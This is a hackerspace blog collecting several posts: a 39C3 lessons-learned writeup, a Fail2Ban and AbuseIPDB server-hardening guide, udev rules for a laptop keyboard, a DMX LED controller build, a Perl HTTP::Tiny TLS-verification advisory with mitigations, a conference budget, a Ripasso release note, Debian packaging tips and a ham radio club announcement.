Hackeriet Blog

Lessons learned after 39C3

2026-01-10T00:00:00+01:00

This year, many Hackeriet members attended the 39th Chaos Communication Congress. It was a blast! As part of our efforts to improve how we organize these trips, we held a lessons-learned meetup afterward. Around 15 people joined the meeting, and there was good engagement and a strong willingness to contribute.

There was broad agreement that this year’s congress worked well. Notes were prepared in advance and added during the meeting; these are available at https://pad.hackeriet.no/40C3. The pad is now read-only unless you are logged in. The discussion itself went far beyond what makes sense to fully document. This post focuses on concrete decisions, with the intent of making it easier for others to join in and contribute.

We agreed that we need to be better at planning for these events. At the same time, there was general satisfaction with the current voucher process. It is important to stay aware that we are managing vouchers on behalf of the broader Norwegian community, not just ourselves. We decided to set up the voucher list for 40C3 early. Foxboron volunteered to take responsibility for the voucher process as a whole.

We also agreed to introduce a more explicit “padawan” or second-hand model for roles in general. This lowers the barrier for learning and participation, and helps reduce the bus factor. Xorgic volunteered as voucher padawan, with the primary role holder acting as the elder.

Another point of agreement was the need to better separate informational communication from general chatter, memes, and noise. Important messages are easy to miss and hard to push through in busy channels. The decision was to create separate Signal groups to address this.

In addition, we decided to create a dedicated Signal group for people who want to take on organizational roles and actively contribute.

We also agreed that clearer documentation of how things actually work is needed. This makes it easier for new people to understand both the process and where they can plug in. This blog post is one small step in that direction. A corresponding wiki page has also been created at https://wiki.hackeriet.no/projects/chaos-congress to serve as a more permanent home for this information.

Atluxity volunteered to take responsibility for planning meetups, likely virtual. The rough idea is to start with wider intervals and then ramp up: March, June, August, and then monthly closer to the event. This role currently lacks a padawan.

Finally, we want to pursue sponsorships and other financial support. Bilkollektivet, NUUG Foundation, and Hyperion were mentioned as potential supporters. There are also commercial actors in Norway that may be relevant to approach.

As always, hack the planet.

kthxby

Adventures with Fail2Ban and AbuseIPDB

2024-12-13T00:00:00+01:00

Securing systems exposed to the internet is a moving target, especially when dealing with brute-force attacks on authentication services. I run a Zimbra mail server on an Ubuntu 18.04 server (yes, I know it’s time to upgrade), and I decided to tackle these never-ending login attempts. Along the way, I integrated AbuseIPDB for IP reporting, configured the recidive jail for persistent offenders, and encountered a few interesting bugs and quirks worth sharing.

Fail2Ban is an open-source intrusion prevention software that monitors system logs for signs of automated attacks, such as repeated failed login attempts. When it detects suspicious activity, Fail2Ban temporarily bans the offending IP address by updating the system’s firewall rules. This helps mitigate brute-force attacks and other malicious behavior without requiring constant manual intervention. It is highly configurable and can be extended to monitor various services like SSH, mail servers, and web servers.

This post details what I did, the tricks I applied, and the lessons I learned to secure my server effectively.

Setting Up Fail2Ban for SSH and Zimbra

When I started, the fail2ban configuration already included the following files in /etc/fail2ban/jail.d/:

root@mail1:~# ls /etc/fail2ban/jail.d/

defaults-debian.conf zimbra.local

defaults-debian.conf: This file contained the default sshd jail.
zimbra.local: Provided by the Zimbra package, this file included configurations for the jails zimbra-smtp and zimbra-web.

I verified the active jails using:

root@mail1:~# fail2ban-client status

Status

- Number of jail: 3

`- Jail list: sshd, zimbra-smtp, zimbra-web

For Zimbra, this config came from the install-packages of Zimbra. At least I have no recolection of setting this up. Zimbra has its own documentation regarding this. So that is my exposed authentications, sshd, webmail and smtp.

Adding AbuseIPDB Integration

In order to contribute back to the community I wanted to report abusive IP addresses to AbuseIPDB. As a side-effect it also provides better visibility and enriched feedback. AbuseIPDB is a public database of abusive IP addresses that allows users to report and share information about malicious activity, such as brute-force attacks, spam, and hacking attempts. It provides tools to query and analyze IP reputation, helping system administrators and security professionals identify and block bad actors.

Fixing the abuseipdb.conf Action

AbuseIPDB has its own documentation for integration with Fail2Ban, but I noticed a problem with their documentation and it seem a bit outdated. For example it includes --tlsv1.0. After some testing, reading some(1) issues(2) I figured that using the latest version of Fail2Ban action-file from their main branch worked perfectly.

This showcased to me that Fail2Ban is just simply running linux-commands, and it is quite flexible in that regard, so I added some seds to redact hostname and domain. I split them for reasons.

actionban = lgm=$(printf ‘%%.1000s\n…’ “" | \ # Limit log message to 1000 characters

sed ‘s,REDACTED-HOSTNAME,host,g’ \ # Replace hostname with ‘host’

sed ‘s,REDACTED-DOMAINNAME,domain.tld,g’); \ # Replace domain name with ‘domain.tld’

curl -sSf “https://api.abuseipdb.com/api/v2/report” \

-H “Accept: application/json” \

-H “Key: " \

–data-urlencode “comment=$lgm” \

–data-urlencode “ip=" \

–data “categories="

By applying this trick, I ensured reports remain useful without revealing my server’s identity. It just feels better.

Adding the Recidive Jail for Persistent Offenders

To deal with repeat offenders, I enabled the recidive jail. This jail monitors Fail2Ban’s own log file to identify IPs that are repeatedly banned and imposes harsher penalties.

Recidive Jail Configuration

I created a recidive jail configuration in /etc/fail2ban/jail.d/recidive.local:

[recidive]

enabled = true

logpath = /var/log/fail2ban.log

banaction = %(banaction_allports)s

bantime = 26w

findtime = 7d

Lesson Learned: Service Restart Is More Reliable

I encountered an issue where fail2ban-client reload sometimes failed to apply changes, particularly when modifying or adding new jails like recidive or changing actions. It was mighty frustrating. Restarting the Fail2Ban service using systemctl worked reliably:

systemctl restart fail2ban

Bugs and Lessons Learned

AbuseIPDB Placeholder Bug: Initially, the IP placeholder () was not being replaced in the abuseipdb.conf action file. After reviewing the latest version from the Fail2Ban GitHub repository, I realized my version had a bug. Replacing my action file with the updated version fixed the issue.
Outdated TLS Flag: AbuseIPDB’s documentation included –tlsv1.0 in the curl command. This is insecure and unnecessary; modern curl versions negotiate TLS securely by default. Removing it resolved the issue.
Service Reload vs Restart: fail2ban-client reload occasionally failed to apply configuration changes. Restarting the service with systemctl ensured consistency and reliability.
Hostname Redaction: Adding redaction to reports before submitting them to AbuseIPDB was a simple but effective way to prevent leaking sensitive server details.

Final Thoughts

Deploying Fail2Ban to protect SSH and Zimbra services, integrating AbuseIPDB for info-sharing, and using the recidive jail for persistent offenders I feel significantly improved the security of my server and help mitigate some of my exposure. Along the way, I learned the importance of carefully reviewing documentation, checking for software bugs, and leveraging the flexibility of Fail2Ban actions. I am now considering collecting and sharing the bans done in the recidive-jail between all my servers, because why not. Well, why not, the risk here is if one does not have a way to remote control their server “out of band”, like via VM management interface etc, one might lock themself out from contacting their server. Or if one has customers or users that manages to trigger the ban then it requires manual intervention. For me, these are managed risks. Is it for you?

This is what my reports on AbuseIPDB looks like.

As always, hack the planet.

kthxby

Using udev to disable the built in keyboard on your laptop

2024-11-08T00:00:00+01:00

The built in keyboard on my laptop is annoying to use, everything is wrong about it (Dell XPS Plus). To make matters worse, it is also a european layout that i am not used to. I type at perhaps half my usual speed using the built in keyboard, so i wish to place my regular mechanical keyboard on top and disable the built in keyboard (so i dont accidentally hit the built in keys)

How to

First you must determine the name of your bluetooth keyboard and the device path of your laptop keyboard. cat /proc/bus/input/devices | less

The name of the bluetooth keyboard in my case is “BT Keyboard”, this is probably going to be the same as appears in your DE’s bluetooth settings

My laptops built in keyboard is named “AT Translated Set 2 keyboard”, you can verify this using something like evtest. You want the device path for this, located beside the “Sysfs” key (in the output of the above cat command), in my case it is /devices/platform/i8042/serio0/input/input2/.

We can inhibit the device by writing a 1 to the file located at /sys/<your device path>/inhibited, you can dis-inhibit the device by writing a 0. This can be done with echo: echo 1 > /sys/devices/platform/i8042/serio0/input/input2/inhibited. Upon running that command, your laptop keyboard should be disabled, to reverse it, either reboot or write a 0 to the same file.

Now that we have the mechanism to disable and enable the device on demand, we can write a udev rule for it. (This is probably possible in a less hacky way, but it works)

Here are my particular udev rules:

SUBSYSTEM=="input", ATTRS{name}=="BT Keyboard", ACTION=="add", RUN+="/usr/bin/sh -c '/usr/bin/echo 1 > /sys/devices/platform/i8042/serio0/input/input2/inhibited'"

SUBSYSTEM=="input", ATTRS{name}=="BT Keyboard", ACTION=="remove", RUN+="/usr/bin/sh -c '/usr/bin/echo 0 > /sys/devices/platform/i8042/serio0/input/input2/inhibited'"

each rule (line) matches either the connect or disconnect of the bluetooth keyboard, and each will run the corresponding echo command from before.

You should be able to copy and paste those rules into your own file inside /etc/udev/rules.d/, as long as you swap the values for the name and the device path.

DIY Hardware for DMX LED Pot Control with WLED

2023-12-29T00:00:00+01:00

Hackeriet at one point aquired a few Fun Generation LED pots, and one of the strong selling arguments for us was the knowledge that they supported DMX.

“DMX (Digital Multiplex) is a protocol used to control devices such as lights or fog machines. The signal is unidirectional, meaning it only travels in one direction; from the controller or first light, all the way to the last. In its most basic form, DMX is just a protocol for lights, like how MIDI is for keyboards or DAW controllers.” ¹

This is not a blogpost about DMX, in this blogpost we will focus on the hardware we put together to be able to control these lights via a web application called WLED.

Bill of Materials

Junction box
Sacrificial XLR cable
5v power supply
D1 mini (ESP-8266EX board) ²
MAX485 module
A few header pins and wire of choice

Junction box

My thinking is that this box will probably live many hours on a floor and be in risk of poor threatment for much of its life, so I wanted something a bit rugged. Visiting my closest electronics dealer I just found one who felt right for me. It is 80x80x38mm and closed with a single central screw. It has modular soft walls ment for poking cables through.

Sacrificial XLR cable

I chose to have a bit of a tail out of the box with an XLR-cable rather than a plug into the box. It saves me some space in the box and feels like the more durable and practical solution. This ment I had to cut a cable in two and just make sure to use the correct one (look behind the LED pots, you want the one that goes into the INPUT one)

5v power supply

This is what the big old drawer with legacy cables and wall sockets is good for. I found one that used to be for some HP palm-like device I had once, it even came with a plug. That part is optional. I like the idea that if someone stumbles in that cable it will just disconnect the plug and not yank the whole thing apart.

D1 mini

This is the brain of the operation. ESP-8266 is an amazing ecosphere of geek-enabling technology. It is a lower powered 32-bit RISC CPU running at 160 Mhz and has a built-in WIFI module. Compared to an Arduino with its 8-bit microcontroller, 16Mhz clock speed. The D1 mini supports Micropython, Adruino and nodemcu. We are going to flash this device with a software project called WLED, which also supports DMX although it is made primarily for LED-strips and such.

MAX485

This is a requirement from the software we are going to load onto the D1 mini. DMX is a serial format, and such is also RS-485. I dont really know how this part works, I just see that its a requirement. I have been unable to find the site of an actuall manufactorer, but there seem to be tens of tens of similar off brands modules that does the same.

Schematics

Software

I wont copy this part into here, it is better if I just reference the relevant pages. https://kno.wled.ge/advanced/compiling-wled/ https://kno.wled.ge/interfaces/dmx-output/ Read them both roughly before starting.

I got friendly advice from people around me to let the lamps use the channels 10, 20, 30 and 40, and set them all to 4 channel setup (this should avoid some issues, altought I am blissfully unaware of any details.) and then it was a trick to set the LED setup in the WLED to the correct number of lamps, this is to ensure that animations know how many points of lights it has available to play with.

References

https://www.sweetwater.com/sweetcare/articles/understanding-dmx/#What%20Is%20DMX ↩
https://www.wemos.cc/en/latest/d1/d1_mini.html ↩

Supply Chain Issues in PyPI

2023-09-21T00:00:00+02:00

This is a cross post from stiankri.substack.com

Earlier this year I did some security research into the Python Package Index (PyPI) as well as how it’s used by the package managers Pip and Poetry.

The research is summarized in the following blog posts:

The research was also presented at BSides Oslo in the talk “Unexpected Ways to Distribute Python Packages”.

Perl HTTP::Tiny has insecure TLS default, affecting CPAN.pm and other modules

2023-04-15T00:00:00+02:00

UPDATE 2023-06-12: v0.083-TRIAL has been released with a fix.

[CVE-2023-31486] HTTP::Tiny v0.082, is a http client included in Perl (since v5.13.9) and also a standalone CPAN module. It does not verify TLS certificates by default requiring users to opt-in with the verify_SSL=>1 flag to verify the identity of the HTTPS server they are communicating with.

The module is used by many distributions on CPAN, and likely other open source and proprietary software.

NOTE: This post summarizes security problems caused by the insecure default and how it affects code relying on it for https. For a discussion on how this is being addressed upstream, please see RFC: Making SSL_verify safer

Affected CPAN Modules

After PSA: HTTP::Tiny disabled SSL verification by default! was posted on Reddit, we were reminded that this might be a bigger problem than first thought.

So we searched trough metacpan-cpan-extracted to find distributions using HTTP::Tiny without specifying the cert verification behaviour. Distros using it without mentioning verify_SSL somewhere in the code was flagged. See hackeriet.github.io/cpan-http-tiny-overview for the full list.

Most distributions we found did not enable the certificate verification feature, potentially exposing users to machine-in-the-middle attacks via a CWE-295: Improper Certificate Validation weakness.

[CVE-2023-31484] CPAN.pm v2.34 downloads and executes code from https://cpan.org without verifying server certs. Fixed in v2.35-TRIAL. (patch)
[CVE-2023-31485] GitLab::API::v4 v0.26 exposes API secrets to a network attacker. Fixed in v0.27 (patch)
Finance::Robinhood v0.21 is maybe exposing API secrets and financial information to a network attacker. (patch)
Paws (aws-sdk-perl) v0.44 is maybe exposing API secrets to a network attacker. (patch)
CloudHealth::API v0.01 is maybe exposing API secrets to a network attacker. (patch)

… and more. We have done a search of CPAN and generated a list of 381 potentially problematic distributions.

Mitigations

~~Upstream for HTTP::Tiny has not provided a patch or mitigation. Suggestions to change the insecure default has been turned down several times over the years due to backwards compatibility concerns~~.

Upstream for HTTP::Tiny has merged a patch that changes the insecure default from 0 to 1. It is available in the development version HTTP::Tiny v0.083-TRIAL on CPAN, and the change is planned to be included in perl-5.38.0.

An escape hatch environment variable PERL_HTTP_TINY_SSL_INSECURE_BY_DEFAULT=1 has been provided for users who need to restore the previous insecure default after updating.

For additional information, please see the upstream discussion in RFC: Making SSL_verify safer.

To mitigate the risk caused by the CWE-1188: Insecure Default Initialization of Resource weakness, you have some options:

Ensure that HTTP::Tiny in your include path is v0.083-TRIAL or newer.
Modify affected code using HTTP::Tiny and set verify_SSL=>1.
Modify affected code to use a http client with secure defaults, like Mojo::UserAgent or LWP::UserAgent.
Patch HTTP::Tiny on your system with a patch that changes the default to verify_SSL=>1.

It’s recommended that users update Mozilla::CA as well, since HTTP::Tiny defaults to trusting certificates provided by that module. Alternatively the environment variable SSL_CERT_FILE can be set to point to the system trust store.

Changes

2023-04-18: Add reference to fixed CPAN.pm v2.35-TRIAL
2023-04-29: Add CVE identifiers CVE-2023-31484, CVE-2023-31485, CVE-2023-31486
2023-06-12: Add references to fix applied to HTTP::Tiny, GitLab::API::v4, and suggestion to update Mozilla::CA

Post mortem for oslohack:22

2023-02-18T00:00:00+01:00

Hackeriet arranged a small conference during 28-30 dec 2022. With lots of talks, streaming service for those of us who couldn’t attend in person and lots of good conversations between the attendants.

The recording of most of the talks have been available on youtube since the conference and will soon be reposted as individual talks.

List of talks and workshops performed

ctx - Native vector graphics for microcontrollers and terminals - Øyvind Kolås
Secure messaging deep dive - Stian Kristoffersen
Debugging packages on Linux - Morten Linderud
Digital Skeleton Keys - micsen
Street Epistemology - A technique for difficult conversations - Jared Elgvin & Salve J. Nilsen
FreeIPA - Identity and access management system for Linux - xorgic
Algorithmic Predictions and Big Decisions - Failures of Machine Learning - Daniel Kinn
The road to NRK’s private Terraform registry - Stig Otnes Kolstad
Valuable but vulnerable - GNSS timing interference detection and countermeasures - Harald Hauglin, Justervesenet
Quantum Threat Inflation - riding the Cyber Wave - Natalie Kilber
Vim movements - xorgic
Skal EU få se dine private bilder? - Tom Fredrik Blenning
CPU-cachen og deg: hvordan skrive cache-effektiv kode - Rune Holm
Nanopore DNA sequencing for dummies and smarties - Karl Trygve Kalleberg

The conference couldn’t have happened without our sponsors, The NUUG Foundation, Kovert and our volunteers that donated their time to arrange it.

Economic transparency

Generally there isn’t a lot of talk on the internet around what it costs to arrange conferences.

The lack of transparency is something that we think prevents new persons from attempting to arrange these sorts of thing, as they might believe there to be a unreasonable risk connected to arranging.

As a step of combating that, here is a full transparency around what it costed us to arrange oslohack:22

Item	Income	Cost
Brus & snacks		2275
Led-lys		375
Pride banner		56
50m nettverkskabel		500
Engangsvåtmopp		60
LED-lys		2838
Leie flerbrukshallen		7000
Leie av streamingutstyr, KANDU		3125
Støtte Kovert	2275
Støtte NUUG Foundation	13954
Totalt	16229	16229

Release of Ripasso version 0.6.0

2022-11-20T00:00:00+01:00

Time passes as water under a bridge, it is yet again time to release a version of ripasso. We present version 0.6.0.

New Features

Choosable OpenPGP backend

We have implemented support for configuration files. You can now switch between different password directories from the menu.

Experimental new OpenPGP backend based on Sequoia

The Sequoia project is a implementation of OpenPGP written in Rust. Since the GPG project have suffered from multiple security problems due to memory corruption lately it’s time to start exploring alternative implementations.

The Sequoia backend can be enabled per store by adding pgp_implementation = 'sequoia' in your config file.

The sequoia implementation doesn’t support reading the gpg keyring on the system, so if that one in chosen all public pgp keys must be imported imported into ripasso. But it can talk to the gpg-agent, so it doesn’t require that the private key is imported into sequoia.

Support for TOTP codes

Ripasso now supports otpauth urls, if there is a url on the format otpauth:// then a MFA token can be copied with ctrl-b.

Support the Wayland copy buffer

If running ripasso in a Wayland environment, we now support the Wayland copy buffer.

Comments in .gpg-id file

The Pass project have added support for comments in the .gpg-id file, comments start with a # character.

Download OpenPGP certs from keys.openpgp.org

Added support for downloading pgp keys from keys.openpgp.org.

Bugs Fixed

Compression in gpg

Disabled compression when encrypting secrets with gpg. Compressing before encrypting can sometimes lead to a compression oracle vulnerability. These kind of vulnerabilities typically require that an attacker can automate the creation of secrets in some way, so we don’t think it’s applicable here.

Copy behaviour between and

Enter now copies the first line of the secret, and ctrl-y copies the whole secret.

Credits

Joakim Lundborg - Developer
Alexander Kjäll - Developer

Also a big thanks to everyone who contributed with bug reports and patches.

Packaging Rust for Debian - Side Effects

2022-09-25T00:00:00+02:00

When packaging a rust crate for Debian, bug fixing is a part of the process. There is of course multiple sources of bugs, but a common one is that the crate doesn’t build on all architectures.

The builds in Debian happens on a lot of different architectures, and normally you only have an x86_64 machine to test on before pushing a new version of a package.

The full list of different architectures is:

amd64
arm64
armel
armhf
i386
mips64el
mipsel
ppc64el
s390x
alpha
arc
hppa
hurd-i386
ia64
kfreebsd-amd64
kfreebsd-i386
m68k
powerpc
ppc64
riscv64
sh4
sparc64
x32

But it’s not mandatory that the build succeeds on all of them, only the top 9 have Supported status and the rest are more of a nice-to-have.

As an example I got this failure on riscv64 recently:

failures:

---- src/xy.rs - xy::XY<bool>::both (line 502) stdout ----
malloc_consolidate(): unaligned fastbin chunk detected
Couldn't compile the test.

failures:
    src/xy.rs - xy::XY<bool>::both (line 502)

What happens then is that I will investigate the error, try to produce a patch for it, and send that as a pull request to the upstream sources.

If all is well and good the patch is accepted and included in the next release of that package. But releases are often infrequent and to stop the packaging effort of everything that depends on the package is too time consuming.

Therefore we add the fix as a patch to the Debian package directly. This keeps the original part of the debian version number and bumps the debian part, version 0.3.4-1 becomes 0.3.4-2.

Normally this is an uncomplicated process, a new file is dropped into the patches directory, it’s added to the end of the series file in that directory, and then it’s shipped off to the build farm.

But there is a not very well documented gotcha in this process, when the debian rust tooling produces an updated package it reuses the original .orig.tar.gz file from the -1 package. This means that all changes that would alter the content of that file are ignored.

For example if you add a line like this to debcargo.conf in an -2 update:

excludes = ["examples/**", "benches/**"]

That will not have any effect, until a new upstream release is made and that gets packaged.

To summarize, be careful when adding new configuration that alters the original source code package when you are fixing bugs.

Hackeriet has been appointed a ham club signal

2021-11-24T00:00:00+01:00

CQ CQ DE LA1HAX!

Hackeriet (Oslo Hackerspace) has been appointed the ham club signal LA1HAX, effective from 2021-11-16.

The hobby

Amateur radio, or “ham radio”, is a hobby which focueses on connecting the world and a shared interest of technology and electronics. The operators, often callled “hams”, are free to build and use radio equipment to transmit in different ways as long as they operate within the parameters set by the licensing authority.

Operating a ham radio station requires the operator to be licensed by an official entity. In Norway, this entity is NKOM (“Nasjonal kommunikasjonsmyndighet” or “Norwegian Communications Authority”). Each licensed operator is given their own personal callsign, which starts with “LA”, “LB” or “LC” for Norwegian operators. The callsign is personal, and the prefix is specific to the country where the operator gains their license.

The hobby itself is broad, and covers multiple technical fields and all continents.

[…something more about what hams do and how they operate]

The callsign

The issue of applying for a club callsign was first raised on IRC in October of 2021, following renewed interest among the members to increase radio activity (pun intended).

[…more on the process and why we applied for LA1HAX]

Activities

[…short summary of ideas for what we want to do at the hackerpsace]

73 DE LA1HAX